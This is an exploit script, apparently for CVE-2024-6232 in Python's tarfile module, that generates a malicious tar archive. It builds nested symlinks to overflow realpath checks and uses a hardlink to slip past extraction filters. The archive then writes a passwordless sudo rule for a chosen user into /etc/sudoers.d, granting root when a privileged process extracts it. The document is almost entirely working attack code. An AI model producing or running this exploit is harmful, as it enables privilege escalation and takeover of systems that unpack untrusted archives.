import tarfile import argparse import os import io import sys def main(): parser = argparse.ArgumentParser( description="Exploit for CVE-2024-6232 - Python Tarfile Realpath Overflow" ) parser.add_argument("username", help="The name of user that will be added to sudoers") parser.add_argument("filename", help="The name of the malicious tar file (e.g., backup.tar)") args = parser.parse_args() if not args.username.strip() or not args.filename.strip(): print("Error: Both username and filename must be non-empty strings.") sys.exit(1) run_script(args.username, args.filename) def run_script(username, filename): print(f"--- Generating Malicious Tar: {filename} ---") # long_dir_name + shortcut_steps combined will push the path length to the edge of PATH_MAX (4096) long_dir_name = 'd' * (55 if sys.platform == 'darwin' else 247) shortcut_steps = "abcdefghijklmnop" current_nesting_path = "" with tarfile.open(filename, mode="x") as tar: # Phase 1: Build the nested maze (The Invisibility Cloak) for step_char in shortcut_steps: # Create physical directory dir_entry = tarfile.TarInfo(os.path.join(current_nesting_path, long_dir_name)) dir_entry.type = tarfile.DIRTYPE tar.addfile(dir_entry) # Create the 'shortcut' symlink to that directory shortcut_link = tarfile.TarInfo(os.path.join(current_nesting_path, step_char)) shortcut_link.type = tarfile.SYMTYPE shortcut_link.linkname = long_dir_name tar.addfile(shortcut_link) # Move deeper into the path for the next iteration current_nesting_path = os.path.join(current_nesting_path, long_dir_name) # Phase 2: Create the trigger that breaks os.path.realpath() deep_path_trigger = os.path.join("/".join(shortcut_steps), "l"*254) u_turn_link = tarfile.TarInfo(deep_path_trigger) u_turn_link.type = tarfile.SYMTYPE u_turn_link.linkname = ("../" * len(shortcut_steps)) tar.addfile(u_turn_link) # Phase 3: The Escape Link (Targets /etc/sudoers.d/) escape_to_root = tarfile.TarInfo("escape") escape_to_root.type = tarfile.SYMTYPE # We use the trigger path + enough ../ to climb out to the root file system escape_to_root.linkname = deep_path_trigger + f"/../../../../../../etc/sudoers.d/{username}" tar.addfile(escape_to_root) # Phase 4: Bypass filters using a hardlink to the escape symlink bypass_hardlink = tarfile.TarInfo("exploit_link") bypass_hardlink.type = tarfile.LNKTYPE bypass_hardlink.linkname = "escape" tar.addfile(bypass_hardlink) # Phase 5: The Payload Write payload_content = f"{username} ALL=(ALL:ALL) NOPASSWD:ALL\n".encode('utf-8') write_operation = tarfile.TarInfo("exploit_link") write_operation.type = tarfile.REGTYPE write_operation.size = len(payload_content) tar.addfile(write_operation, fileobj=io.BytesIO(payload_content)) print(f"--- Done! {filename} created successfully. ---") if __name__ == "__main__": main()